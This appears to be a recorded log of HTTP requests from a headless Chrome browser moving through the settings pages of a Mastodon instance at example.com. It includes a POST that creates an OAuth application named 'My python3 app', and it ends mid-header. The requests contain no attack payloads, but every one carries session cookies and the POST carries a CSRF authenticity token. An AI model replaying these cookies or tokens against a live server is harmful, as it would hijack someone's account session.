{"method": "GET", "target": "/packs/filters-B_-6iXPk.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/imports", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTUuOTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9a1696ca1dfa279bbc6f4b97992cb7cfd0d03676; _mastodon_session=KRJKKRb7MgakMzt%2BbD734MTG8lOpTpcp9yj3DnDD4bSmLtbKT6ppCEZTUvVDbCU4RfKEf0K2CWuiFujPELjqiP90Kis6lIlNP8m3LjvYZOIASKiN0QjbNjZdPMyarshxrcGEohceZKOZzg%2BruWqNySXEAKrWFbZp4VRzaa8yramKV3tj04YFjYYO0AwhTQK2W%2BlcodjvX9utKq%2FqNA00y21nTtG89PUAEJrvE99IzVLsJX59R6kllMY%2BVnpkL%2Bs5GznRgOaAQr8zd58YfOMEW0QnMN1yB9PK%2FYvDQgtt3asTgw7JoUINfC2je1nh5h9lpdEVq1VVatTFvKBiwTALs4CSmCKGVLey%2BOOoMpTYLQ1qTf7SDzAYzDPrA0ypTMTYLr4J6mk9C0I%2B--nt%2BlonKcYnDO%2Fgau--EneTLYxBRr2cWvp57%2FOzHA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/settings/applications/new", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTUuOTgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9a1696ca1dfa279bbc6f4b97992cb7cfd0d03676; _mastodon_session=KRJKKRb7MgakMzt%2BbD734MTG8lOpTpcp9yj3DnDD4bSmLtbKT6ppCEZTUvVDbCU4RfKEf0K2CWuiFujPELjqiP90Kis6lIlNP8m3LjvYZOIASKiN0QjbNjZdPMyarshxrcGEohceZKOZzg%2BruWqNySXEAKrWFbZp4VRzaa8yramKV3tj04YFjYYO0AwhTQK2W%2BlcodjvX9utKq%2FqNA00y21nTtG89PUAEJrvE99IzVLsJX59R6kllMY%2BVnpkL%2Bs5GznRgOaAQr8zd58YfOMEW0QnMN1yB9PK%2FYvDQgtt3asTgw7JoUINfC2je1nh5h9lpdEVq1VVatTFvKBiwTALs4CSmCKGVLey%2BOOoMpTYLQ1qTf7SDzAYzDPrA0ypTMTYLr4J6mk9C0I%2B--nt%2BlonKcYnDO%2Fgau--EneTLYxBRr2cWvp57%2FOzHA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/settings-Cq4pjZIN.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/applications/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTguODM1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--0468c74e049f35777c29efaca2b6c5df8d9dca6a; _mastodon_session=VteyPKcF3%2FeOC6AjspRbBjxNwSpbp%2BfyTCLyroiOUD44xg2hwc2Uv6L0xMdWndNuuoG5EBKgM7bj%2B%2BMUQskDjAWBu%2FE%2FCwBkzHfKsYOxmqkAjxFP84zFNLL%2FWqKzlUVdtfP%2FC%2By3on%2B9joUAG98ODtMlHl9zFyQWBBKYXrX8467YTi6L1jIccVN5OCRfF3fMUy18guVXGC%2BaM3Mpqqm9RhTP2K3TrbbgBN%2FvY9tw6v7dHJ8n59sUnMbYb0ov9X%2FIw9mAzvx4mYEq83%2BpO4iuEQZTa8hM6oJy0EF6uz80nSnrAxNOOqt4HOScBf2RsT%2FwV5CimzOEGElU3jPg5pz0IfualjDwCPtTHgh4uiULn0Z3tI6l5jG1Pyw9AyVMvZf5p3zr54PIn%2Fub--axIYg9Lfj9RALDiq--%2BE2s4XXDoyYvT%2FtD5CS2Ew%3D%3D"], "body": ""}
|
||||||
|
{"method": "POST", "target": "/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 614", "Cache-Control: max-age=0", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Origin: https://example.com", "Content-Type: application/x-www-form-urlencoded", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/applications/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MTguODM1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--0468c74e049f35777c29efaca2b6c5df8d9dca6a; _mastodon_session=VteyPKcF3%2FeOC6AjspRbBjxNwSpbp%2BfyTCLyroiOUD44xg2hwc2Uv6L0xMdWndNuuoG5EBKgM7bj%2B%2BMUQskDjAWBu%2FE%2FCwBkzHfKsYOxmqkAjxFP84zFNLL%2FWqKzlUVdtfP%2FC%2By3on%2B9joUAG98ODtMlHl9zFyQWBBKYXrX8467YTi6L1jIccVN5OCRfF3fMUy18guVXGC%2BaM3Mpqqm9RhTP2K3TrbbgBN%2FvY9tw6v7dHJ8n59sUnMbYb0ov9X%2FIw9mAzvx4mYEq83%2BpO4iuEQZTa8hM6oJy0EF6uz80nSnrAxNOOqt4HOScBf2RsT%2FwV5CimzOEGElU3jPg5pz0IfualjDwCPtTHgh4uiULn0Z3tI6l5jG1Pyw9AyVMvZf5p3zr54PIn%2Fub--axIYg9Lfj9RALDiq--%2BE2s4XXDoyYvT%2FtD5CS2Ew%3D%3D"], "body": "authenticity_token=7xS2wadIGBN2ohySFEdB51yRgnIC0BqnpJjj6huUfAwshg79AIgLQ9k-nzGll6GLTOidGo3PNsK1JS6iGfYYCg&doorkeeper_application%5Bname%5D=My+python3+app&doorkeeper_application%5Bwebsite%5D=https%3A%2F%2Fexample.org%2Fpowershell&doorkeeper_application%5Bredirect_uri%5D=urn%3Aietf%3Awg%3Aoauth%3A2.0%3Aoob&doorkeeper_application%5Bscopes%5D%5B%5D=&doorkeeper_application%5Bscopes%5D%5B%5D=&doorkeeper_application%5Bscopes%5D%5B%5D=profile&doorkeeper_application%5Bscopes%5D%5B%5D=&doorkeeper_application%5Bscopes%5D%5B%5D=&doorkeeper_application%5Bscopes%5D%5B%5D=&doorkeeper_application%5Bscopes%5D%5B%5D=&button="}
|
||||||
|
{"method": "GET", "target": "/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "Cache-Control: max-age=0", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/applications/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MjEuODk0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--7e1bf0268347a2e00cd756b381436d085b1256e7; _mastodon_session=S39wtIx%2FVnoD4MGC9Sr89rC7CO5ivaJttIBL578q0BlLTZ7Kk9RaXCw6ifmA085vwybPiSt2FbxDHT7LmAV3lRUeBp%2ForYSA2zlymodQf4mkcmIdTvejcayyie0Pzv6igQ3kuGPK%2FPFOd8ioq4qJY6jzcg7y3MrONZKYR16U7Yi%2Frtt8CsjV1a1R4fHDiUSgk8EbcHO9I2lXNd61HVwaYCszPV0YzZ4A9ZUZiTH3JGpV56GrEW8dEs0wyZ82PELYM6Z8zBAqUXbtluCwwQxW5qJ%2FXhUDiSz7qW9EiEdouYL9QdzHJ2gAT30PJv9gyWWf3i72dViTTyceo%2BLa9RChZ6tkJHHqnhg6b%2BjJssVWjLoconWhVwQJE1RobjMdBSKQS4Lrfz9vb7qmHt2zFopwSid0MyInOgCD1x173uDTnDYtQHlEbIeiFWL%2B0EPRPcm13ynxaWXZIS2G7%2Bnrmg2nvPRcyeDQRQJWY2vH3v6pdn2B0K2pAan0zkuJeKBQBcil702IoF%2BROSMbq6%2BYXfs3WZU%3D--dgkphIpl0ii6jzzr--MW34OvpD%2FsOV%2FjD4w2iPqw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/accounts_typed-Xu0a4dCy.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/applications", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MjEuOTE1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d41065973c1bb08c319ed5594c469cf4da2af0b6; _mastodon_session=FWlHLVe2uuDQR5JbW%2FVUF%2FhtjUfwQJAQp%2BtmIAkmRjBULNixxq7IaYj1xVRKl8NlVrUv8D6Ijf0w87KNI%2FH5kVigHq2mEJ81cUIiXsJDINXdz7dV94s4ttpt7%2BoeZClbVhwOSGLOcNti7%2Fdt9Qg0Sso0p5xTJGpISOsxd%2F7onewqk6g0jEXvabz%2BbcXWoAx%2F4r0%2FxC%2BgWoJ1JiJ0FoNoX94SJ6Nr0GOvcbDGCEGHdVOwVzRbKWoFjOZbHGf3VtBR5ybLz%2Bm%2Bpelfq25q0Wc3EWDVd0KRRIiY2a2lU7eM9hBCkEEP0v0csq0I6Nw80SJtEZi4dZVtSNJ4xa25mlmG3CHyt41ulGTEoggghbio4Vc5J%2FQef%2FKnyU5cDHppYb4Knhn%2FeTo3cPzd--A2UHlZgFFJOUGwSH--Rl%2FRZEts3cIwDYMFJ9uwQA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/settings/applications", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MjEuOTE1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--d41065973c1bb08c319ed5594c469cf4da2af0b6; _mastodon_session=FWlHLVe2uuDQR5JbW%2FVUF%2FhtjUfwQJAQp%2BtmIAkmRjBULNixxq7IaYj1xVRKl8NlVrUv8D6Ijf0w87KNI%2FH5kVigHq2mEJ81cUIiXsJDINXdz7dV94s4ttpt7%2BoeZClbVhwOSGLOcNti7%2Fdt9Qg0Sso0p5xTJGpISOsxd%2F7onewqk6g0jEXvabz%2BbcXWoAx%2F4r0%2FxC%2BgWoJ1JiJ0FoNoX94SJ6Nr0GOvcbDGCEGHdVOwVzRbKWoFjOZbHGf3VtBR5ybLz%2Bm%2Bpelfq25q0Wc3EWDVd0KRRIiY2a2lU7eM9hBCkEEP0v0csq0I6Nw80SJtEZi4dZVtSNJ4xa25mlmG3CHyt41ulGTEoggghbio4Vc5J%2FQef%2FKnyU5cDHppYb4Knhn%2FeTo3cPzd--A2UHlZgFFJOUGwSH--Rl%2FRZEts3cIwDYMFJ9uwQA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/relationships", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MjQuODU5WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--f80387b813e2aa31c2ce960474cb5aea5f6f8239; _mastodon_session=IKoIk%2F2Zt%2BbQwuwPHCreKoer6wq%2FPUalC1%2BGdCluh3C0XloQeQ9fq2D3CzSgKBrk7e9PehwLJ0Tll2V7X18sKvFv0eBuhuPIhjPfsF4FNDGoz%2Fz7PkpLVIe7NH8OPLkE51kr35%2F0fYSoPfVz6UQYZvTssbZaZMRx179YzX6ZdCHv5P7vIAmUk1D8mBRlMe50nHHyFi%2FFvLpXaptNqPx7tUIvZ9M5R4FzBLxuJu%2FJqRsbIjLRhyS9N495tQfAt5%2Fld9uOy%2FXDuK9o0XPM4buMQg15QSFKz0QcY1rfQHzywT0rS55Adhgi8AvbzdpHXvcaxGI3vsDS66CeZhbgJPbsC07lhfil7mrqiOldVubC3nE0I40B%2BOgAK67GIPUB10vPv%2FxELzDPPO5A--%2BVh5QejLBVzuglr1--A1Rlzkk77pKJhyvMEvH3SA%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/api-CGawW2vu.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/relationships", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MjcuNzExWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a8d793f59ae1d5533ff4eef19c823a3b0c6d7cb4; _mastodon_session=F%2FzFIXYPd1cqyDu7WR7OUjv3jAKwIup%2FTWWN63a4WqCyZJ1irxIUnr4f5SqrC230U4hhWs6lNZVdANU%2F7ifCZbS2EcJ1fByFgX1fct24Ec1QZnURAUri4ocOwSr%2B4rPILj5M46ACnSRv3tdI8zJgXWnX2lSuRFE7WIzJomVUch447wkwKcHtDjZVP9BoPoeZdN6TfKonwqo8m%2B%2BDSTlhh06QVIR1HghZvYPjgP%2FOzwkmtBdmS4IAmQO%2FCugqA2ZOn6Lq7LXH6jGxkxO86iRAZKii0EltkPac4G0uERm29CHNDCjpX85%2BSMBM3JLgdtsHrfX7gig8T%2FE50R5eii4G3ioVXsWbkS%2B2hbWHGrkbqCWY6LRC1PoFjulu3qCVrpeplKyxapxtOUQS--eBN4vhxhJReS6UbX--sauLaauD4Csf0UrEIIeoVQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/settings/verification", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MjcuNzExWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a8d793f59ae1d5533ff4eef19c823a3b0c6d7cb4; _mastodon_session=F%2FzFIXYPd1cqyDu7WR7OUjv3jAKwIup%2FTWWN63a4WqCyZJ1irxIUnr4f5SqrC230U4hhWs6lNZVdANU%2F7ifCZbS2EcJ1fByFgX1fct24Ec1QZnURAUri4ocOwSr%2B4rPILj5M46ACnSRv3tdI8zJgXWnX2lSuRFE7WIzJomVUch447wkwKcHtDjZVP9BoPoeZdN6TfKonwqo8m%2B%2BDSTlhh06QVIR1HghZvYPjgP%2FOzwkmtBdmS4IAmQO%2FCugqA2ZOn6Lq7LXH6jGxkxO86iRAZKii0EltkPac4G0uERm29CHNDCjpX85%2BSMBM3JLgdtsHrfX7gig8T%2FE50R5eii4G3ioVXsWbkS%2B2hbWHGrkbqCWY6LRC1PoFjulu3qCVrpeplKyxapxtOUQS--eBN4vhxhJReS6UbX--sauLaauD4Csf0UrEIIeoVQ%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/axios-BtspdZ3f.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/verification", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MzAuNTg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4efff74d1a733092ca2daca6573b247d1a4adde6; _mastodon_session=xsNX2WvDJRlI6FeoZ2gCfQ7%2FYKRYdhsB%2BucVy91eGVg8I%2BTtEa2bEA7kAIl1cYveJS%2F2UxJufKswWlhozCyr2l%2FNj0Z%2BO%2FkwhV4sWvtnC1%2F%2FIJTMPraxlqHUOn%2FG8LAOzcjbRinZc96nJmRcLTSaH0FRtsmAf4Nrk%2FVr3jjxB3tBznu24E%2FwA2YBygTA%2FzpATCfqbxhWfWF4WECr8LqmErzEcOkyNxX%2BeJyTTlVtxDHqSuIomCYZu0ycX57bllkwLiWTnjLUnOVdpUD7BGJkRGLPYMvonKc%2FAm91bpEKsN7ZEw451KfuGcnNsc6jkAX4%2FZy4g5gxCeqFfpqa%2BIUTHZWF5IUZI1AB3xhn%2BP8n1C4s0YX%2FFAqE20y%2FaYofHJIXxP5VSQai5Dvt--vibqNYjivHtWaU%2Bo--91Yw0wPrQFNC44NOgGeFLg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/settings/featured_tags", "headers": ["Host: example.com", "Connection: keep-alive", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: none", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MzAuNTg4WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4efff74d1a733092ca2daca6573b247d1a4adde6; _mastodon_session=xsNX2WvDJRlI6FeoZ2gCfQ7%2FYKRYdhsB%2BucVy91eGVg8I%2BTtEa2bEA7kAIl1cYveJS%2F2UxJufKswWlhozCyr2l%2FNj0Z%2BO%2FkwhV4sWvtnC1%2F%2FIJTMPraxlqHUOn%2FG8LAOzcjbRinZc96nJmRcLTSaH0FRtsmAf4Nrk%2FVr3jjxB3tBznu24E%2FwA2YBygTA%2FzpATCfqbxhWfWF4WECr8LqmErzEcOkyNxX%2BeJyTTlVtxDHqSuIomCYZu0ycX57bllkwLiWTnjLUnOVdpUD7BGJkRGLPYMvonKc%2FAm91bpEKsN7ZEw451KfuGcnNsc6jkAX4%2FZy4g5gxCeqFfpqa%2BIUTHZWF5IUZI1AB3xhn%2BP8n1C4s0YX%2FFAqE20y%2FaYofHJIXxP5VSQai5Dvt--vibqNYjivHtWaU%2Bo--91Yw0wPrQFNC44NOgGeFLg%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/locales-BkCPern1.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/settings/featured_tags", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltRXhOelkwTW1FNU1UUm1aV0ptTURFNU5qUXdNV1prWWpsaU16aGxNVEpsSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDA6NTc6MzMuNDI2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--39e97d04693913db5d01a248369ed6fc39f866fc; _mastodon_session=PtF3%2B2SbEwiSB3Ee%2Fd1y6tjFDnycVAcyZUjaJ22F3cGW8I6D6cTlSmaQEn41AtLwlsURxTDzPyMhLyrY3m8J%2BYFeXvDrxsVlXryHn%2F9NQaiR3jqVANCdTklQXe7JOWTQCHS23ovvvjzgwPtWI%2FFM5kw4nT8mCNyqMTp49RJJB%2FHMvN%2BurqXfCeUcxVUVc8GFtTA5NbjMdKFAGMM2frSFB9khDTiBYDq%2F9g8NhLXlFoDKnxynuQ0tuTMc7Tc5K7%2Ft50sAs%2BpwYdrFXafCbrRjdSFuO9Zs2JxOD713k8IKDu7uD5MWMbSLN3Vdagjg04wxxR0uWdQXbtVXueqFBd1rzHoMgHcKA%2FsoF7r3fRVnt4c3CdTZivhv1u8kXjDF8UTKejBplnkLZ5xJ--8FE407Sve3lI2buy--ulWeDSj72%2FG%2BoZmZTPkVBw%3D%3D"], "body": ""}
|
||||||
|
{"method": "GET", "target": "/packs/ready-B3bZnx13.js", "headers": ["Host: example.com", "Connection: keep-alive", "Origin: https://example.com", "sec-ch-ua-platform: \"Linux\"", "Accept-Language: en-US,en;q=0.9", "sec-ch-ua: \"Chromium\";v=\"137\", \"Not/A)Brand\";v=\"24\"", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/137.0.0.0 Safari/537.36", "sec-ch-ua-mobile: ?0", "Accept: */*", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: script", "Referer: https://example.com/auth/sign_in", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: 